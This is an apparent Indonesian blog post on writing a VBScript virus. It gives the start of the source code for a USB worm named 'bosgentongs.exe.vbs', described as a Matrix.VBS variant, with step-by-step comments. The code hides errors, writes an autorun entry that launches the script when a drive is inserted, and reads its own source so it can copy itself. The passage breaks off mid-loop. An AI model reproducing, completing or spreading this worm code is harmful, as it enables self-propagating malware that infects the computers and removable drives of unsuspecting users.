virus.....
=========================================================================== PEMBUATAN VIRUS DENGAN EKSTENSI .VBS nama bosgentongs.exe.vbs> =========================================================================== ‘//BosGenToNgs ITS Ver 2 ‘//Varian dari Matrix.VBS ‘//INI VIRUS BERBAHAYA JANGAN DIBUAT MAIN-MAIN!!!!! ‘//Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus// on error resume next ‘//Dim kata-kata berikut ini// dim mysource,winpath,flashdrive,fs,mf,atr,tf,bosgentongs,nt,check,sd ‘//Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information AliAss atr AutoruN// atr = “[autorun]” & vbcrlf & “shellexecute=wscript.exe bosgentongs.exe.vbs” set fs = createobject(”Scripting.FileSystemObject”) set mf = fs.getfile(Wscript.ScriptFullname) dim text,size size = mf.size check = mf.drive.drivetype set text = mf.openastextstream(1,-2) do while not text.atendofstream mysource = mysource & text.read